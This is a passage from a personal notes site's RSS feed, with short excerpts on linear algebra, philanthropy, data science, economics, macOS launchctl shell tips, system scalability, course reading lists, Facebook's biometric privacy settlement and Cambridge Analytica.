&lt;li&gt;Change of Basis&lt;/li&gt;
&lt;li&gt;Projection&lt;/li&gt;
&lt;li&gt;Topic: Line of Best Fit&lt;/li&gt;
&lt;li&gt;Topic: Geometry of Linear Maps&lt;/li&gt;
&lt;li&gt;Topic: Magic Squares&lt;/li&gt;
&lt;li&gt;Topic: Markov Chains&lt;/li&gt;
&lt;li&gt;Topic: Orthonormal Matrices&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Determinants&lt;/p&gt;</description></item><item><title>Philanthropy</title><link>https://www.curiosities.dev/socioeconomics/2020-04-26-on-philanthropy/</link><pubDate>Sun, 26 Apr 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/socioeconomics/2020-04-26-on-philanthropy/</guid><description>&lt;h2 id="criticismdefense-of-billionaire-philanthropy"&gt;Criticism/Defense Of Billionaire Philanthropy &lt;span class="citation-ref"&gt;&lt;a href="#Alexander2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Taxes will probably not go to the same causes, e.g. reforming the bail system, grassroot efforts for migrants, etc.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Admittedly, these are things that the government should be doing, but it seems
that the government doesn&amp;rsquo;t do enough. Furthermore, some of these issues so
politicized, e.g. immigrants, that government support can be fickle.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Foundations are more effective than governments as they do their due diligence, e.g. Bill Gates. Reforming the government is a long battle.&lt;/p&gt;</description></item><item><title>On Data Science</title><link>https://www.curiosities.dev/computer-science/miscellaneous/2020-04-24-on-data-science/</link><pubDate>Fri, 24 Apr 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/miscellaneous/2020-04-24-on-data-science/</guid><description>&lt;h2 id="data-science-reality-doesnt-meet-expectations"&gt;Data Science: Reality Doesn&amp;rsquo;t Meet Expectations &lt;span class="citation-ref"&gt;&lt;a href="#friedmanRealityVsExpectations"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Execs frequently ignore data science research when making decisions.&lt;/p&gt;
&lt;p&gt;Data is often dirty, or insufficient to make decisions about majority of the users. Sometimes the infrastructure is poor - SQL queries take hours.&lt;/p&gt;
&lt;p&gt;Data Scientists are usually the only &amp;lsquo;data person&amp;rsquo; on the team. Tons of request from teams, and most of the work is repetitive and &amp;rsquo;easy&amp;rsquo;.&lt;/p&gt;
&lt;p&gt;Measuring impact is hard - especially on dollars that were hypothetically saved but never spent.&lt;/p&gt;</description></item><item><title>Economics in the Real World</title><link>https://www.curiosities.dev/business/2020-04-18-econ-101-real-world-edition/</link><pubDate>Sat, 18 Apr 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2020-04-18-econ-101-real-world-edition/</guid><description>&lt;h2 id="protectionism-vs-globalization"&gt;Protectionism vs. Globalization&lt;/h2&gt;
&lt;p&gt;Prestige Ameritech is America&amp;rsquo;s #1 maker of surgical masks. In outbreaks, demand peaks, but when it&amp;rsquo;s all over, hospitals go back to exclusively buying cheaper masks from China. Reduced demand makes Ameritech lay off workers. Ameritech is pushing for a federal contract to stabilize demand over time. &lt;span class="citation-ref"&gt;&lt;a href="#Lieber2020"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;India&amp;rsquo;s Foreign Exchange Act of 1973 gave Coca-Cola an ultimatum: hand over 60% of the local subsidiary to Indian partners and the syrup recipe. Coca-Cola left in 1977. With the fall of the Soviet Union, socialist India&amp;rsquo;s primary sponsor, India embraced the free market to fully finance its debts. Coca-Cola and Pepsi came back, but Indians kept drinking Thums Up (goes well with spicy food) and Limca (appeals to national love for lemonade). Coca-Cola bought both brands but still produces them. &lt;span class="citation-ref"&gt;&lt;a href="#Obermeier2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Miscellaneous Topics</title><link>https://www.curiosities.dev/computer-science/the-missing-cs-semester/99-miscellaneous-shell-tips/</link><pubDate>Sat, 18 Apr 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/the-missing-cs-semester/99-miscellaneous-shell-tips/</guid><description>&lt;h2 id="personalizing-your-shell"&gt;Personalizing Your Shell&lt;/h2&gt;
&lt;p&gt;Put all of your scripts in the &lt;code&gt;~/bin/&lt;/code&gt; directory, and add &lt;code&gt;~/bin/&lt;/code&gt; to your path. Beware of conflicting with system commands. One alternative is to prefix your commands with a comma. &lt;span class="citation-ref"&gt;&lt;a href="#rhodesShellComma"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="managing-launchctl-services"&gt;Managing &lt;code&gt;launchctl&lt;/code&gt; Services&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;launchctl list&lt;/code&gt; lists the running services, e.g.,&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$ launchctl list &lt;span style="color:#111"&gt;|&lt;/span&gt; grep blog
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;1357&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; com.dchege711.blogserver
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;launchctl kickstart -k [service-target]&lt;/code&gt; restarts the service (&lt;code&gt;-k&lt;/code&gt; kills it if
it were running before), e.g., &lt;code&gt;launchctl kickstart -k gui/501/com.dchege711.blogserver&lt;/code&gt;. &lt;span class="citation-ref"&gt;&lt;a href="#serverFault194832"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>APIs Are Not In the Efficiency Business</title><link>https://www.curiosities.dev/computer-science/miscellaneous/2020-04-11-apis-are-not-in-the-efficiency-business/</link><pubDate>Sat, 11 Apr 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/miscellaneous/2020-04-11-apis-are-not-in-the-efficiency-business/</guid><description>&lt;h2 id="cityflo-reduces-google-maps-api-bill-by-94"&gt;CityFlo Reduces Google Maps API Bill by 94% &lt;span class="citation-ref"&gt;&lt;a href="#CityFlow"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Google Directions API 
&lt;a href="https://ppc.land/google-increases-prices-of-google-maps-api-and-developers-are-not-happy/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 limited their free tier
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
. CityFlo uses this API to calculate ETAs. Initially, CityFlo queried the API every time a stop was registered.&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;This was the problem. The number of API calls should be dependent on the stops themselves, not the buses. For an MVP, sure - make that query - but if you&amp;rsquo;re running a growing business, those calls add up!&lt;/p&gt;</description></item><item><title>02: Cracking Codes and Math Departments</title><link>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-1-money-isnt-everything/02-cracking-codes-and-math-depts/</link><pubDate>Sun, 29 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-1-money-isnt-everything/02-cracking-codes-and-math-depts/</guid><description>&lt;h2 id="cracking-codes-and-problems-at-the-ida"&gt;Cracking Codes and Problems at the IDA&lt;/h2&gt;
&lt;p&gt;At IDA, Simons developed a fast code-breaking algorithm for a long-standing problem. However, because this work was confidential, he couldn&amp;rsquo;t share accomplishments with outsiders.&lt;/p&gt;
&lt;p&gt;A soap film stretching across a wire frame has minimal area. Plateau&amp;rsquo;s Problem: Do such minimal areas always exist and are they always so smooth no matter the wireframe? In 1930, &amp;lsquo;Yes&amp;rsquo; was proved for 2-D. Almgren, PU Prof, proved it for 3-D. Simons extended this to 6-D and formed a counter-example in 7-D.&lt;/p&gt;</description></item><item><title>03: Markov Chains, Potatoes and HODL</title><link>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-1-money-isnt-everything/03-markov-chains-potatoes-and-hodl/</link><pubDate>Sun, 29 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-1-money-isnt-everything/03-markov-chains-potatoes-and-hodl/</guid><description>&lt;h2 id="markov-chains-and-baum"&gt;Markov Chains and Baum&lt;/h2&gt;
&lt;p&gt;A hidden Markov process is one in which the results of the chain are visible, but not the states that help explain the progression of the chain. Like receiving the number of runs scored in each inning without knowing anything about baseball.&lt;/p&gt;
&lt;p&gt;The Baum-Welch algorithm could estimate probabilities and parameters using a little more information than the results of the hidden Markov chain.&lt;/p&gt;
&lt;p&gt;Baum, hesitant at first, joined Simmons and applied his knowledge to trade currencies. Ax (recruited at Stony Brook) extended the models to commodities. Monemetrics was making bank!&lt;/p&gt;</description></item><item><title>04: From Linear Regressions to Kernel Methods</title><link>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-1-money-isnt-everything/04-from-linear-regressions-to-kernel-methods/</link><pubDate>Sun, 29 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/zuckerman-the-man-who-solved-the-market/part-1-money-isnt-everything/04-from-linear-regressions-to-kernel-methods/</guid><description>&lt;h2 id="ax-straus-the-data-collector-and-axcom"&gt;Ax, Straus the Data Collector and Axcom&lt;/h2&gt;
&lt;p&gt;Ax wasn&amp;rsquo;t a likeable character. He got into a lot of arguments/fights. His personal life was in disarray. His early research wasn&amp;rsquo;t original either - it was comparable to that of trenders.&lt;/p&gt;
&lt;p&gt;Straus was a data collector. The Telerate machines at trading floors didn&amp;rsquo;t have an interface for investors to collect and analyze information (a laid-off Michael Bloomberg would later change that). Straus collected tick data on commodities, futures and stocks. This was above and beyond what Straus was hired for.&lt;/p&gt;</description></item><item><title>Scalability</title><link>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/01-reliable-scalable-and-maintainable-applications/03-scalability/</link><pubDate>Sun, 22 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/01-foundations-of-data-systems/01-reliable-scalable-and-maintainable-applications/03-scalability/</guid><description>&lt;h2 id="describing-load"&gt;Describing Load&lt;/h2&gt;
&lt;p&gt;Load parameters are numbers that describe the load on a system, e.g. number of requests per second to a web server, ratio of reads to writes in a database, number of simultaneously active users in a chat room.&lt;/p&gt;
&lt;h3 id="example-twitter"&gt;Example: Twitter&lt;/h3&gt;
&lt;p&gt;Major operations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Users posting tweets: \(4.6k\) requests/sec on average, \(12k+\) requests/sec at peak.&lt;/li&gt;
&lt;li&gt;Users viewing timelines: \(300k\) requests/sec.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Twitter&amp;rsquo;s scaling challenge is the fan-out: &lt;em&gt;each user follows many people and each user is followed by many people.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>[ToDo] CPSC 469: Randomized Algorithms</title><link>https://www.curiosities.dev/todo/computer-science/randomized-algorithms/</link><pubDate>Thu, 05 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/randomized-algorithms/</guid><description>&lt;ul&gt;
&lt;li&gt;Randomized Algorithms&lt;/li&gt;
&lt;li&gt;Probability Theory&lt;/li&gt;
&lt;li&gt;Random Variables&lt;/li&gt;
&lt;li&gt;Basic Probabilistic Inequalities&lt;/li&gt;
&lt;li&gt;Concentration Bounds&lt;/li&gt;
&lt;li&gt;Randomized Search Trees&lt;/li&gt;
&lt;li&gt;Hashing&lt;/li&gt;
&lt;li&gt;Martingales and Stopping Times&lt;/li&gt;
&lt;li&gt;Markov Chains&lt;/li&gt;
&lt;li&gt;Approximate Counting&lt;/li&gt;
&lt;li&gt;The Probabilistic Method&lt;/li&gt;
&lt;li&gt;De-randomization&lt;/li&gt;
&lt;li&gt;Quantum Computing&lt;/li&gt;
&lt;li&gt;Randomized Distributed Algorithms&lt;/li&gt;
&lt;li&gt;Sample Assignments from Fall 2019&lt;/li&gt;
&lt;li&gt;Sample Assignments from Fall 2016&lt;/li&gt;
&lt;li&gt;Sample Assignments from Spring 2014&lt;/li&gt;
&lt;li&gt;Sample Assignments from Spring 2013&lt;/li&gt;
&lt;li&gt;Sample Assignments from Spring 2011&lt;/li&gt;
&lt;li&gt;Sample Assignments from Spring 2009&lt;/li&gt;
&lt;li&gt;Probabilistic Recurrences&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 CPSC 469: Randomized Algorithms&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 James Aspnes.
 
 
 
 
 &lt;a href="http://www.cs.yale.edu/homes/aspnes/classes/469/notes.pdf" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.cs.yale.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.cs.yale.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Mar 5, 2020.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>[ToDo] CS 181: Computers, Ethics, and Public Policy</title><link>https://www.curiosities.dev/todo/computer-science/cs181-computers-ethics-and-public-policy/</link><pubDate>Sun, 01 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/cs181-computers-ethics-and-public-policy/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;The instructors of 
&lt;a href="https://techethics.stanford.edu/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Home | Ethics of Technological
Disruption
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 have written a book: &amp;ldquo;System
Error: Where Big Tech Went Wrong and How We Can Reboot&amp;rdquo; (
&lt;a href="https://seattle.bibliocommons.com/v2/record/S30C3717115"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 available on
SPL
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
). The authors'
main ideas: the question is not about values, but better/worse social outcomes;
understanding the optimization mindset of the technologist is more helpful than
understanding the underlying tech; government regulation can and has led to good
outcomes; a libertarian approach, e.g. just #deletefacebook, is dismissive of
the value that people get from the tech.
&lt;span class="citation-ref"&gt;&lt;a href="#Bram2021"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>[ToDo] CS 229: Machine Learning</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/cs229-machine-learning/</link><pubDate>Sun, 01 Mar 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/cs229-machine-learning/</guid><description>&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Introduction and Basic Concepts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Supervised Learning Setup&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Linear Regression&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Linear Algebra&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Weighted Least Squares&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Logistic Regression&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Newton&amp;rsquo;s Method&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Perceptron&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Exponential Family&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Generalized Linear Models&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Probability&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Gaussian Discriminant Analysis&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Naïve Bayes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Laplace Smoothing&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Support Vector Machines&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Python and Numpy&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Support Vector Machines&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Kernels&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Neural Networks&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bias - Variance&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Regularization&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Feature/Model Selection&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Deep Learning&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;K-Means&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;GMM (non EM)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Expectation Maximization&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Factor Analysis&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Principal and Independent Component Analysis&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Weak Supervision&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Markov Decision Process&lt;/p&gt;</description></item><item><title>Financing the Disadvantaged</title><link>https://www.curiosities.dev/business/2020-02-12-financing-the-disadvantaged/</link><pubDate>Wed, 12 Feb 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2020-02-12-financing-the-disadvantaged/</guid><description>&lt;h2 id="short-term-loans"&gt;Short Term Loans&lt;/h2&gt;
&lt;p&gt;A common narrative for loan providers is financial inclusion. 69% of global
adult population is not covered by credit bureaus. Using non-traditional data
(e.g. text messages, location, contacts, call logs), more people can get scored.
&lt;span class="citation-ref"&gt;&lt;a href="#Faux2020"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;If only \(x\%\) of people pay you back, then \(\frac{x}{100}(1 + r) \ge 1
\) suggests \(r \ge \frac{100}{x} - 1 \). If \(75\%\) tend to pay back,
\(r = 33\frac{1}{3} \%\).&lt;/p&gt;</description></item><item><title>[ToDo] The Missing Semester of Your CS Education</title><link>https://www.curiosities.dev/todo/computer-science/the-missing-semester-of-your-cs-education/</link><pubDate>Mon, 03 Feb 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/the-missing-semester-of-your-cs-education/</guid><description>&lt;p&gt;
&lt;a href="https://missing.csail.mit.edu/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Course Website
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
, 
&lt;a href="https://www.curiosities.dev/computer-science/the-missing-cs-semester/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 My Notes
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;✅ Course Overview + The Shell&lt;/p&gt;
&lt;p&gt;✅ Shell Tools and Scripting&lt;/p&gt;
&lt;p&gt;Editors (Vim)&lt;/p&gt;
&lt;p&gt;Data Wrangling&lt;/p&gt;
&lt;p&gt;Command-line Environment&lt;/p&gt;
&lt;p&gt;Version Control (Git)&lt;/p&gt;
&lt;p&gt;Debugging and Profiling&lt;/p&gt;
&lt;p&gt;Metaprogramming&lt;/p&gt;
&lt;p&gt;Security and Cryptography&lt;/p&gt;
&lt;p&gt;Potpourri&lt;/p&gt;
&lt;p&gt;Q&amp;amp;A&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://www.usenix.org/sites/default/files/conference/protected-files/lisa19_maheshwari.pdf"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Linux Productivity Tools
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;</description></item><item><title>[ToDo] AI: A Modern Approach</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/ai-a-modern-approach/</link><pubDate>Sun, 02 Feb 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/ai-a-modern-approach/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 Artificial Intelligence: A Modern Approach (3rd ed.)&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Stuart Russell; Peter Norvig.
 
 
 
 
 
 &lt;a href="http://aima.cs.berkeley.edu/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=aima.cs.berkeley.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;aima.cs.berkeley.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jan 1, 2010.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Ch 01. Introduction to AI&lt;/p&gt;
&lt;p&gt;Ch 02. Intelligent Agents&lt;/p&gt;
&lt;p&gt;Ch 03. Solving Problems by Searching&lt;/p&gt;
&lt;p&gt;Ch 04. Beyond Classical Search&lt;/p&gt;
&lt;p&gt;Ch 05. Adversarial Search&lt;/p&gt;
&lt;p&gt;Ch 06. Constraint Satisfaction Problems&lt;/p&gt;
&lt;p&gt;Ch 07. Logical Agents&lt;/p&gt;
&lt;p&gt;Ch 08. First-Order Logic&lt;/p&gt;
&lt;p&gt;Ch 09. Inference in First-Order Logic&lt;/p&gt;</description></item><item><title>[ToDo] Designing Data Intensive Applications</title><link>https://www.curiosities.dev/todo/computer-science/designing-data-intensive-applications/</link><pubDate>Sun, 02 Feb 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/computer-science/designing-data-intensive-applications/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-book' cited-by-count='' is-main=''&gt;
 &lt;cite id='DDIA'&gt;
 
 Designing Data-Intensive Applications: The Big Ideas Behind Reliable, Scalable, and Maintainable Systems&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Martin Kleppmann.
 
 
 
 
 
 
 
 2017.
 &lt;a href="https://openlibrary.org/search?isbn=978-1449373320" target="_blank" rel="noopener"&gt;
 ISBN: 978-1449373320 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;.
 
 
 &lt;i class='fas fa-fw fa-book' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;
&lt;a href="https://www.curiosities.dev/computer-science/distributed-systems/klepmann-ddia/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Link to notes
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;h2 id="part-i-foundations-of-data-systems"&gt;Part I. Foundations of Data Systems&lt;/h2&gt;
&lt;p&gt;✅ Ch 01. Reliable, Scalable and Maintainable Applications:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;✅ Thinking About Data Systems&lt;/li&gt;
&lt;li&gt;✅ Reliability: hardware faults; software errors; human errors; importance of
reliability.&lt;/li&gt;
&lt;li&gt;✅ Scalability: describing load; describing performance; approaches for coping
with load.&lt;/li&gt;
&lt;li&gt;✅ Maintainability: operability - making life easy for operations; simplicity -
managing complexity; evolvability - making change easy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ch 02. Data Models and Query Languages:&lt;/p&gt;</description></item><item><title>[ToDo] Linear Algebra: An Inquiry-Based Approach</title><link>https://www.curiosities.dev/todo/mathematics/linear-algebra-an-inquiry-based-approach/</link><pubDate>Sun, 02 Feb 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/mathematics/linear-algebra-an-inquiry-based-approach/</guid><description>&lt;p&gt;Objective: Get better at linear algebra for the sake of it.&lt;/p&gt;
&lt;p&gt;✅ Ch 01. Introduction to Systems of Linear Equations&lt;/p&gt;
&lt;p&gt;✅ Ch 02. The Matrix Representation of a Linear System&lt;/p&gt;
&lt;p&gt;Ch 03. Row Echelon Forms&lt;/p&gt;
&lt;p&gt;Ch 04. Vector Representation&lt;/p&gt;
&lt;p&gt;Ch 05. The Matrix-Vector Form of a Linear System&lt;/p&gt;
&lt;p&gt;Ch 06. Linear Dependence and Independence&lt;/p&gt;
&lt;p&gt;Ch 07. Matrix Transformations&lt;/p&gt;
&lt;p&gt;Ch 08. Matrix Operations&lt;/p&gt;
&lt;p&gt;Ch 09. Introduction to Eigenvalues and Eigenvectors&lt;/p&gt;
&lt;p&gt;Ch 10. The Inverse of a Matrix&lt;/p&gt;</description></item><item><title>Facebook to Pay $550 Million to Settle Facial Recognition Suit</title><link>https://www.curiosities.dev/computer-science/www/the-battle-for-the-web/2020-01-29-fb-550m-fine-for-facial-recognition/</link><pubDate>Wed, 29 Jan 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/www/the-battle-for-the-web/2020-01-29-fb-550m-fine-for-facial-recognition/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 Facebook to Pay $550 Million to Settle Facial Recognition Suit&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Natasha Singer; Mike Isaac.
 
 
 
 
 
 &lt;a href="https://www.nytimes.com/2020/01/29/technology/facebook-privacy-lawsuit-earnings.html" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.nytimes.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.nytimes.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Jan 29, 2020.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Illinois&amp;rsquo; biometric privacy law requires companies to obtain written permission before collecting a person’s biometrics. Residents have the right to sue for up to $5,000 per violation.&lt;/p&gt;
&lt;p&gt;Facebook&amp;rsquo;s Tag Suggestions harvested facial data without getting written consent nor telling Illinois users for how long the data would be kept.&lt;/p&gt;</description></item><item><title>Tech and Democracy</title><link>https://www.curiosities.dev/politics-and-governance/2020-01-27-tech-and-democracy/</link><pubDate>Mon, 27 Jan 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/politics-and-governance/2020-01-27-tech-and-democracy/</guid><description>&lt;h2 id="political-ads"&gt;Political Ads&lt;/h2&gt;
&lt;p&gt;Cambridge Analytica (CA) paid people to take in-app survey; mined FB profile
data including friends&amp;rsquo; data; crafted tailored sensitive ads to sway-able
voters. Elections are about emotions, not facts. Data science and social media
can help us make sense of and manipulate the chaos. &lt;span class="citation-ref"&gt;&lt;a href="#ChannelFour2018"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;An alternative argument. Political misinformation is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Weak in high profile partisan races because pre-existing beliefs hardly change&lt;/li&gt;
&lt;li&gt;Strong when people don&amp;rsquo;t have string pre-existing opinions, e.g.
misinformation about voter ID laws causing people to stay home from the polls&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Illing2017"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>AoC 2019 Day 01: The Tyranny of the Rocket Equation</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2019/01-tyranny-of-the-rocket-equation/01-tyranny-of-the-rocket-equation/</link><pubDate>Wed, 08 Jan 2020 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2019/01-tyranny-of-the-rocket-equation/01-tyranny-of-the-rocket-equation/</guid><description>&lt;h2 id="description"&gt;Description&lt;/h2&gt;
&lt;p&gt;
